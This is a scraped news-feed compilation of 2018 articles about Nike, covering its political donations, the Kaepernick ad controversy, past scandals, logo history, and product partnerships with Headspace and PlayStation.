Nike’s employees and the company’s own Political Action Committee gave $ 424,000 to Republicans and only $ 122,000 to Democrats this election cycle, according to the nonpartisan Center for Responsive Politics. Nike’s contribution to the GOP tops even that of rival brand New Balance, a company whose CEO has been vocal and unapologetic about his support for President Donald Trump.

While Nike has donated more to Democrats in previous election cycles, the company has donated almost $ 1.5 million to Republicans over the last eight years, compared to just under $ 1 million to Democrats. While Adidas and Under Armor also make political donations, and favor Democrats, Nike’s spend leaves them in the dust.

Nike’s latest ad campaign, which features a solemn-faced Kaepernick, along with the text “Believe in something, even if it means risking everything,” launched just over a week ago, and placed the sportswear company firmly on the ‘woke’ side of the American cultural and political divide.

Conservatives and Trump supporters called for a boycott, and some right-wing Nike owners even filmed themselves burning their beloved shoes in response. The company’s shares dropped faster than Kaepernick after hearing “Oh say can you see,” and President Trump weighed in, tweeting “What was Nike thinking?”

However, the PR gamble paid off. The Kaepernick ad has invaded every corner of the internet, and has been memed to death by both the right and the left. Nike’s shares first dropped, then bounced back past their pre-woke levels.

“Nike’s core customer wants them to take a stand on social issues,” advertising analyst Matt Powell told the New York Post.

While those core customers are lacing up their Nikes for the next march against Trump, the company is using profits from their sales to fund the other side of the political divide, however.

Senator Orrin Hatch (R-Utah), who has spoken out against gay marriage and urged President Trump to pull out of the Paris climate agreement, received $ 12,300 from Nike this year. Senator Bob Corker (R-Tennessee), another union-bashing, tax-cutting opponent of gay marriage, received $ 5,000.

#Resistance members who might want to burn their Nike gear after reading this should beware. Burning synthetic trainers can release harmful gases into the environment, and is actually less woke than continuing to wear them.

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]]> https://briefnews.eu/playing-both-sides-despite-woke-advertising-nike-donates-big-to-gop/feed/ 0 Colin Kaepernick, Nike, and the Myth of Good and Bad Companies https://briefnews.eu/colin-kaepernick-nike-and-the-myth-of-good-and-bad-companies/ https://briefnews.eu/colin-kaepernick-nike-and-the-myth-of-good-and-bad-companies/#respond Tue, 11 Sep 2018 06:31:05 +0000 http://briefnews.eu/colin-kaepernick-nike-and-the-myth-of-good-and-bad-companies/ After Phil Knight first launched the Nike brand in 1971, he claimed that he could persuade the whole world to buy his shoes if he could first get them on the feet of “five cool guys.” In truth, it took only two cool guys to transform Nike into what Knight would later call a “total brand”: the Oregon distance runner Steve Prefontaine, whose spectacular rise and early death rooted his legend, and his unrealized potential, firmly in the soil of Nike’s origin story; and Michael Jordan, who reintroduced the brand to millions of Americans a decade after Pre’s death, saving the shoe company from irrelevance at the tail end of the jogging boom.

“What Phil and Nike have done,” Jordan said, “is turn me into a dream.”

The dream business was immensely profitable for Nike: Just a few years after Jordan’s first Nike commercial aired in 1985, the company surpassed a billion dollars in annual sales; a short while later, in 1988, Dan Wieden, of the Portland advertising firm Wieden + Kennedy, gave Nike its most enduring slogan: “Just Do It.” On Monday afternoon, in anticipation of that slogan’s 30th anniversary, Nike announced the former NFL quarterback Colin Kaepernick as the new face of the “Just Do It” campaign.

It’s significant that an institution as powerful as Nike has thrown its weight behind Kaepernick and his crusade against racial injustice, which began when he started kneeling during the national anthem—a move that has put him at odds with the NFL, and which has almost certainly kept football teams from employing him. But Nike has often been on the wrong side of social-justice movements, and in the past used its considerable power and influence to crush any protest movement that undermined the company’s bottom line.

Throughout the 1980s and ’90s, underage workers toiled in Indonesian factories producing Nike shoes; at factories in China, workers claimed they were coerced into putting in excessive overtime in order to meet Nike’s demanding production schedule; and in Vietnamese factories, workers faced dangerous conditions later documented by independent auditors from Ernst & Young. In the summer of 1997, when Nguyen Thi Thu Phuong died while making a pair of Nike shoes at a factory in Vietnam, the company’s response was to boldly claim: “We don’t make shoes.” This was a shockingly disingenuous statement from a company whose founder would later call his memoir Shoe Dog.

While reporting a book about Nike, I learned that during the spring of 2000, Knight sought to crush a growing campus-protest movement against sweatshop labor by quashing lucrative equipment and apparel deals with the University of Oregon and the University of Michigan. Behind closed doors, the billionaire resorted to more personal means of retribution, including withholding donations from a nonprofit organization run by the University of Oregon president, Dave Frohnmayer. When Nike did at last make concessions to labor unions at some of the factories making its shoes, it was only because of sustained efforts from labor and human-rights organizations, such as the Worker Rights Consortium. In the wake of this defeat, after years of ignoring or denying accusations that it had relied on sweatshop labor, Nike learned how to market itself as a good corporation with noble intentions, which were stymied only by its naïveté. It was a company trapped by its own humble beginnings, unaware of the immense power it had accrued, according to a May 2001 statement issued by Nike’s corporate and social responsibility manager, Harsh Saini.

“We were a bunch of shoe geeks who expanded so much without thinking of being socially responsible that we went from being a very sexy brand name to suddenly becoming the poster boy for everything bad in manufacturing,” Saini said.

Why Mahmoud Ahmadinejad praised Colin Kaepernick

Kaepernick’s “Just Do It” ad, which bears the slogan “Believe in Something. Even if it means sacrificing everything,” seems, on its face, to be more politically divisive than any campaign in Nike’s history—praised from the left for giving Kaepernick a platform to continue speaking out against police brutality and racial injustice, and vilified from the right by the likes of Sean Hannity, who remains determined to cast Kaepernick as unpatriotic and disrespectful. In reality, however, Nike’s standing with Kaepernick has nothing to do with politics and everything to do with the fact that he has transformed himself into an icon. For Nike, Kaepernick’s cause is simply good business—if it were anything other than a cynical branding exercise, the company would surely not be simultaneously doing business with the NFL, which has done its best to stifle Kaepernick’s protest movement.

One of capitalism’s most enduring myths is the idea that there are good corporations and bad corporations. The truth is far more simple: Colin Kaepernick has a dream, and selling dreams is Nike’s business.

]]> https://briefnews.eu/colin-kaepernick-nike-and-the-myth-of-good-and-bad-companies/feed/ 0 ‘Just stand’: Army vet launches t-shirts with ‘patriotic’ message for Kaepernick & Nike https://briefnews.eu/just-stand-army-vet-launches-t-shirts-with-patriotic-message-for-kaepernick-nike/ https://briefnews.eu/just-stand-army-vet-launches-t-shirts-with-patriotic-message-for-kaepernick-nike/#respond Sun, 09 Sep 2018 19:32:49 +0000 http://briefnews.eu/just-stand-army-vet-launches-t-shirts-with-patriotic-message-for-kaepernick-nike/

A clothing company founded by US veterans has responded to Nike’s collaboration with former NFL quarterback Colin Kaepernick by launching a limited edition of ‘Just Stand’ t-shirts.

Nine Line Apparel introduced the new line in direct response to sports clothing brand Nike’s decision to use Kaepernick, who sparked a wave of hugely divisive NFL national anthem protests in 2016, as the new face of its iconic ‘Just Do It’ campaign.

Based in Savannah, Georgia, the company which describes itself as “relentlessly patriotic” is selling a range of ‘Just stand’ shirts for men, women and children. CEO Tyler Merritt told ‘Fox and Friends’ on Saturday that “they decided to take a stance. This is our stand.”

“It is absolutely absurd that Nike would feature Colin Kaepernick as the focus of their latest ad campaign. He has consistently disrespected our nation’s flag, values, and military by using the unifying moment of the singing of the national anthem to create political division,” Merritt told Savannah Now.

Merritt, who served multiple times in Iraq and Afghanistan, also took issue with the slogan accompanying Kaepernick’s ad – ”Believe in something, even if it means sacrificing everything.”  

“The word ‘sacrifice’ in the military members, it’s something severe,” he said.

The endorsement deal between Nike and Kaepernick has unsurprisingly proven controversial, prompting some to call for a boycott of the company’s products. Despite the backlash, Nike reported a 31-percent increase in online sales over Labor Day weekend compared to the same period last year.

READ MORE:#JustBurnIt: Furious Nike customers destroy sports gear over Kaepernick ad (VIDEOS)

Kaepernick made the decision to kneel during the national anthem at NFL games in 2016 to highlight police brutality and racial inequality in the US. However, many Americans branded the protest as disrespectful to the country and to those who have served in the military.

Kaepernick has been without a club since opting out of his contract with the San Francisco 49ers in March of last year. He is currently taking a case against NFL owners over alleged collusion not to sign him due to his social activism.

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]]> https://briefnews.eu/just-stand-army-vet-launches-t-shirts-with-patriotic-message-for-kaepernick-nike/feed/ 0 Just don’t do it: 5 times US sportswear giant Nike came under fire https://briefnews.eu/just-dont-do-it-5-times-us-sportswear-giant-nike-came-under-fire/ https://briefnews.eu/just-dont-do-it-5-times-us-sportswear-giant-nike-came-under-fire/#respond Wed, 13 Jun 2018 16:32:36 +0000 http://briefnews.eu/just-dont-do-it-5-times-us-sportswear-giant-nike-came-under-fire/

US sportswear giant Nike recently made the headlines for refusing to supply the Iran football team with boots – an issue which has reemerged ahead of the Russia 2018 World Cup.

The issue is the result of long-standing US sanctions against Iran, but has resurfaced at the worst possible time for the sportswear company, on the eve of a World Cup at which it will hope to boost its reputation and cash in on its sponsorship of big name teams and players.

READ MORE: Iran hits back after Nike refuses to supply players with boots due to US sanctions

However, it’s far from the first time the brand with the Swoosh has been swept up in scandal, as the five cases below show.

RONALDO

Heading into the World Cup in France in 1998, Brazilian forward Ronaldo was a global megastar and one of Nike’s most marketable names.

Wearing the Nike-sponsored Brazilian kit, and in Nike footwear, he was tipped to fire the Samba Boys to glory in France.

The script appeared set when the 21-year-old poster boy’s four goals at the tournament helped Brazil to set up a final against the hosts France, who were kitted out in the three stripes of Adidas, making an intriguing subplot.     

The stakes were clearly high, on and off the pitch.

However, disaster struck when just over an hour before the kick off in Paris news emerged that prolific striker Ronaldo was not in the Brazil starting team.

Shock ensued, before his name was hastily returned to the teamsheet.

Speculation swirled that Ronaldo had suffered an epileptic fit, but had been forced to play by outside forces with too much vested interest to allow him to sit out the game.  

Ronaldo went on to play, but was a shadow of his usual self as Brazil were routed 3-0. 

Rumors abounded that Nike – who had signed a megadeal with the Brazilian national team two years prior to the tournament – had been among those pressuring Ronaldo to play.

READ MORE: Battle of the brands: Will Adidas, Nike or hipster upstarts win the bid for your World Cup cash?

The scandal even sparked an inquiry in Brazil into potential wrongdoing, although it found no evidence of pressure from Nike.

Ronaldo himself has rejected allegations he was forced to play, confirming that he had suffered a convulsion but had demanded that Brazil coach Mario Zagallo let him on the pitch.

Despite its exoneration, Nike still emerged with accusations it was a corporate bully willing to risk athletes’ health in pursuit of financial gain.  

SERGIO RAMOS

Spain captain Ramos is currently football’s supervillain after his role in the injury to Liverpool and Egypt star Mohamed Salah which has left the striker racing to be fit for the World Cup in Russia.

However, Ramos was seen by many as the victim in a dispute with Nike in 2016, which meant the Real Madrid man could only play and train in black boots after his contract with the US sportswear giants came to an end.

The defender had been with the company for 10 years, but after the deal ended he was prevented by a clause in his contract from wearing another company’s footwear for an interim period.

Ramos took to spray-painting his boots black to avoid displaying any logos, before ultimately re-signing with Nike on a deal that will likely last until the end of his career. 

The player and company eventually made up, but the bizarre episode left the US giants open to more accusations of exerting undue influence over players.

LANCE ARMSTRONG

The case of disgraced US cyclist Lance Armstrong was on such a vast scale that his sponsors Nike were always likely to suffer collateral damage to their reputation.

Nike had been a major sponsor of Armstrong, with dozens of products bearing his name being sold by the company, before it emerged in 2012 that the seven-time Tour De France winner was a massive drugs cheat who had been involved in “the most sophisticated, professionalized and successful doping program that sport has ever seen.”

Nike had initially suggested it would stand by cancer survivor Armstrong, and incredibly the US sportswear giant itself faced accusations that it had been complicit in covering up Armstrong’s doping.

Reports in the New York Daily News quoted Kathy LeMond, the wife of US cyclist Greg LeMond, as testifying that Nike paid former UCI president Hein Verbruggen $ 500,000 to conceal a positive drug test.

Nike vehemently denied the accusations, and later said “it does not condone the use of illegal performance enhancing drugs” while moving to sever ties with serial cheat Armstrong.

For many, however, it was another case of guilt by mere association with a sportsman whose name would go down in infamy.   

THE OREGON PROJECT

The Nike Oregon Project was set up in 2001, with the sportswear firm teaming up with distance-running legend Alberto Salazar to form a training program for elite athletes.

However, since its inception the project has run into a steady stream of allegations of doping and all-round dodgy practices.

Reports emerged in 2015 that former athletes at the program had gone to the US anti-doping authorities (USADA) with their concerns, including that some runners had been given infusions to boost performance.

The Times reported in 2016 that USADA had concluded that Salazar had used banned drugs to boost athletes’ performance, although the agency itself has neither confirmed nor denied this.

UK distance star Mo Farah, who had been part of Salazar’s stable, was also implicated – although fully denies any wrongdoing – and subsequently chose to split with the coach.

READ MORE: Four-time Olympic champion Farah splits with controversial coach Salazar

Salazar himself has denied all the accusations, but the scandal does not sit well for Nike, given the investment it has made in the Oregon Project.    

‘BEHAVIORAL ISSUES’ 

Amid the current force of the #MeToo movement the merest hint of workplace misconduct can spell reputational doom for any company.

Nike is no exception, and as a company that prides itself on inclusion there will be major concerns after two high-profile executives departed within days of each other in March of this year, amid reports that they ignored demeaning behavior towards women within the firm.

There are also said to be concerns about “a locker-room mentality” at Nike, although it moved quickly to address the scandal, with spokesman Greg Rossiter saying: “When we became aware of behavioral issues in some parts of the company, we took action swiftly.

“We’re taking it seriously, and taking steps to address it,” he added.  

However, in the current environment the footwear giant will have to tread carefully to avoid the scandal escalating into considerable reputational damage.  

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]]> https://briefnews.eu/just-dont-do-it-5-times-us-sportswear-giant-nike-came-under-fire/feed/ 0 Things You May Not Have Known About Nike [INFOGRAPHIC] https://briefnews.eu/things-you-may-not-have-known-about-nike-infographic/ https://briefnews.eu/things-you-may-not-have-known-about-nike-infographic/#respond Wed, 04 Apr 2018 20:08:04 +0000 http://briefnews.eu/?p=137138 You may be surprised to learn that the running shoes that are so common and fashionable today, haven’t been always this comfortable and stylish. Back in the day, the running shoes were actually mostly made by tire companies. They were also very clunky, cumbersome, and could even make your feet bleed after running for a long period of time.

Bill Bowerman, a track coach, changed all of that by perfecting a running shoe that could stand up to the rigors of all elite athletics. Him, along with Phil Knight, co-founded Nike in 1964. Today, Nike is known as possibly the most successful sports footwear brand in the world that offers quality products at reasonably fair prices – especially if you happen to get your hands on some kind of  Nike discount. But it wasn’t always this way – as with any other company, it took years for Nike to get to the level of success that they enjoy today.

Nike quickly became a global institution as well as an advertising behemoth that now owns more than two thirds of the entire US footwear market. The company managed to grow into selling footwear and even apparel. And today, we decided to share some interesting facts behind their signature logo, the ‘Swoosh’.

Back when the company was just starting out, their earliest versions of the original Nike running shoes were made from materials like velvet, kangaroo leather, fish skin and even deer hide. At the University of Oregon, Bowerman was a track coach back in the 1950s, and he really didn’t like the design that track shoes had at the time. Most of them were imported from Germany and offered very poor support. That meant that the runners didn’t have the right type of running shoes and had a difficult time on the track.

At the time, Bowerman decided to try experimenting with some of his own designs and went as far as hiring a local cobbler to learn more about designing a better running shoe. Aside from trying all the mentioned materials for the early prototypes, he also asked Phil Knight, a student track athlete, to be his guinea pig and try out these early prototypes.

As for the logo, the well-known ‘checkmark’, also known as the ‘swoosh’, that was designed because Knight thought that the original company, Blue Ribbon, needed a stronger brand identity. So he decided to talk to a student at Portland State University, where Knight had been teaching accounting. The design ended up being very inexpensive to both make and purchase.

The student in question was Carolyn Davidson. She was actually studying journalism at the time and only chose a design course to fill an empty elective. One day, Knight overheard her saying that she wasn’t able to afford oil painting supplies, so he asked her to do some designs for Blue Ribbon. Knight asked Davidson to make a shoe stripe logo that had “something to do with movement”, and shem made five different designs, including a “checkmark,” or ‘swoosh’, that Knight would be presenting during his visit of Onitsuka executives in 1971. And while Knight “didn’t love it,” Blue Ribbon eventually decided to go with the now- popular logo and paid Davidson the agreed upon fee of $35 for the entire work.

If you are interested in learning more about this popular brand, there’s plenty of things for you to read about, and you can find all of them in the infographic below.

 

Infographic was originally published at 16best.net

]]> https://briefnews.eu/things-you-may-not-have-known-about-nike-infographic/feed/ 0 Nike teams up with Headspace for ‘mindful’ guided runs https://briefnews.eu/nike-teams-up-with-headspace-for-mindful-guided-runs/ https://briefnews.eu/nike-teams-up-with-headspace-for-mindful-guided-runs/#respond Fri, 02 Mar 2018 03:21:50 +0000 http://briefnews.eu/nike-teams-up-with-headspace-for-mindful-guided-runs/

Nike has joined forces with meditation app Headspace to provide you with a different kind of audio-guided runs: one that works your body and calms your mind. Starting today, you’ll find the first three Headspace audio-guided “mindful” runs on Nike’s Run Club (NRC) app. Like the other guides on NRC, they feature coaches and athletes speaking into your ear and giving you running instructions. But according to Headspace co-founder Andy Puddicombe, they also blend “technical and motivational components,” making them sort of like a more “active and upbeat [type of] meditation.”

Nike says the Headspace guides will help you feel in control and will stop your thoughts from drifting to your to-do lists or your unanswered work emails. The hope is for you to reach your running goals and be at peace after every run without those distractions clouding your mind. “When we are running mindfully,” according to Puddicombe, “we are actively creating the conditions for that sense of flow, meaning everything is enhanced, from technique and motivation to focus and recovery.”

If you’re more of a gym person than a runner, you’ll benefit more from Headspace’s workout tips on Nike’s Training Club (NTC) app. Like the audio-guided runs, they can also help you tune out distracting thoughts, so you can focus on your workout and improve your performance. You’ll find new Headspace workout stories and tips on your NTC feed and Collection workouts every Monday.

Source: Nike

]]> https://briefnews.eu/nike-teams-up-with-headspace-for-mindful-guided-runs/feed/ 0 The Ionic Adidas Edition is Fitbit’s answer to the Apple Watch Nike+ https://briefnews.eu/the-ionic-adidas-edition-is-fitbits-answer-to-the-apple-watch-nike/ https://briefnews.eu/the-ionic-adidas-edition-is-fitbits-answer-to-the-apple-watch-nike/#respond Tue, 27 Feb 2018 14:42:44 +0000 http://briefnews.eu/the-ionic-adidas-edition-is-fitbits-answer-to-the-apple-watch-nike/

Enlarge (credit: Fitbit)

Those previously on the fence about getting a Fitbit Ionic smartwatch now have a new model to consider.

Fitbit revealed its device collaboration with Adidas today—the Ionic Adidas Edition is a spiced-up Ionic smartwatch featuring an Adidas-made watch face, special wristbands, and the Adidas Train app for runners. Similar to the Apple Watch Nike+ edition, this version of Fitbit’s smartwatch combines all of the features of the original Ionic with exclusive perks developed in collaboration with Adidas that users can’t get on any other Ionic model.

The Adidas Edition’s case is identical to that of a regular Ionic, but the former comes preloaded with a new Adidas-made watch face with the company’s logo at the top, huge block-like numbers for the time in the middle, and a bottom stats row featuring steps taken, current heart rate, and the date. Exclusive bands for the Adidas Edition are available as well, both of which have many small holes along the band’s entire surface. These kinds of perforations allow more air to pass through to the skin, reducing the possibility of skin irritation during long periods of use. These bands are also swim-ready, making them a good option to outfit the Ionic with before tracking a swim.

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]]> https://briefnews.eu/the-ionic-adidas-edition-is-fitbits-answer-to-the-apple-watch-nike/feed/ 0 Nike pops after billionaire activist Bill Ackman reportedly buys a passive stake (NKE) https://briefnews.eu/nike-pops-after-billionaire-activist-bill-ackman-reportedly-buys-a-passive-stake-nke/ https://briefnews.eu/nike-pops-after-billionaire-activist-bill-ackman-reportedly-buys-a-passive-stake-nke/#respond Fri, 26 Jan 2018 15:00:45 +0000 http://briefnews.eu/nike-pops-after-billionaire-activist-bill-ackman-reportedly-buys-a-passive-stake-nke/ NIke stock priceMarkets Insider

  • Shares of Nike popped as much as 2% in pre-market trading Friday after Pershing Square Capital, the $ 12+ billion dollar hedge fund run by activist Bill Ackman, reportedly told investors it had acquired a passive stake in the company.
  • The size of the investment is unclear, as is timing, but Ackman reportedly said at the firm’s annual client dinner that it had already earned a 30% return for his portfolio.
  • The activist investor is known for increasing the share price of companies after announcing he’s acquired a stake. That’s true of Nike this time around, even though the stake is passive.
  • Pershing Square on Monday fired 10 employees — or 20% of its total headcount — as the hedge fund seeks to rebound from three years of losses related to failed bets on companies like Valeant Pharmaceuticals, Chipotle, and Herbalife.
  • Nike stock is up 1.23% in early trading Friday, and has gained 27% in the past year. 

NOW WATCH: Microsoft President Brad Smith says the US shouldn’t get ‘too isolationist’

]]> https://briefnews.eu/nike-pops-after-billionaire-activist-bill-ackman-reportedly-buys-a-passive-stake-nke/feed/ 0 PlayStation shoes for DualShock generation: Nike reveal PG-2 PlayStation Colorway sneakers https://briefnews.eu/playstation-shoes-for-dualshock-generation-nike-reveal-pg-2-playstation-colorway-sneakers/ https://briefnews.eu/playstation-shoes-for-dualshock-generation-nike-reveal-pg-2-playstation-colorway-sneakers/#respond Sun, 21 Jan 2018 04:39:33 +0000 http://briefnews.eu/playstation-shoes-for-dualshock-generation-nike-reveal-pg-2-playstation-colorway-sneakers/

A new Sony PlayStation collaboration has been announced with Nike and NBA star Paul George, which will have PS4 fans very interested.

New PlayStation Nike shoes will be launching in February, which boast a design based off the PS4’s famous DualShock controller.

The new signature sneakers from Paul George – the G-2 PlayStation Colorway – includes a range of different design homages to one of the world’s biggest gaming companies.

A few interesting things that you should know about the colorway, as confirmed by Sony and Paul George:

  • The tongues of the shoe sport the PG and PlayStation logos, which illuminate and pulsate blue just like when turning on the console
  • The back heel of the left shoe has a unique barcode that contains a PSN voucher code, which can be redeemed at PlayStation Store for a Paul George Dynamic Theme for your PS4
  • The colors of the sneaker pay homage to the buttons on the DualShock 4 controller
  • The iconic PlayStation symbols are embossed in patent leather on each shoe
  • The look of the PG Dynamic Theme is reflected in the sock liner on each shoe

That’s a lot of redeeming design features for a PS4 games fan looking for some new sneakers.

The new PlayStation shoes will cost around $ 110 from Nike, who are currently listing them for launch around February 10, 2018.

And as you might expect, these are a limited edition design, meaning that they will sell out very quickly.

Here’s more from the Oklahoma City Thunder on the G-2 PlayStation Colorways: “Just like basketball, I’ve had a knack for video games since I was a kid. 

“When I was 8 or 9, I used to amaze my uncle and all his friends by consistently beating them in all the sports games we’d play. 

“And if I saw something cool while I was playing, I’d go outside and try it out on the court or the field. So in a way, sports and video games were always feeding off one another to me.

“This collaboration has been a long time coming. Ask me what my favorite PlayStation memory is and I’ll tell you it’s when my dad got me a PS2 for Christmas. I’d been dropping hints left and right because I knew that was it. 

“That was the next big thing. You could say the same with Nike.

“As a kid, I’d make sketches of what I wanted my Nike shoes to look like because it’s something I’ve always wanted to be a part of. 

“Now I have the opportunity to make something very special and personal to me with the help of two of my favorite brands.”

As mentioned above, the Paul George worked with with designers from both Nike and PlayStation to come up the new shoes, which draws inspiration from the DualShock 4 controller, as well as the “iconic symbols that have been a part of every PlayStation product to create a colorway that honored my game both on and off the court.”

This isn’t George’s first go at combining gaming and footwear, the PG1 saw Nike teaming up with NBA 2K17’s developer on a special 2K model, which actually featured a sock liner with a render of George taken from the game.

These new PlayStation Nikes were announced and featured on the PlayStation US site, meaning it’s unclear if they will be available buy in the UK.

There’s also no word on whether we will see something for those Xbox One and Nintendo Switch fans out there who are also hoping to represent their gaming console of choice.

For those who like a more retro design, there are a few different sneakers out there which could be more to your tastes, images can be found in the gallery above.

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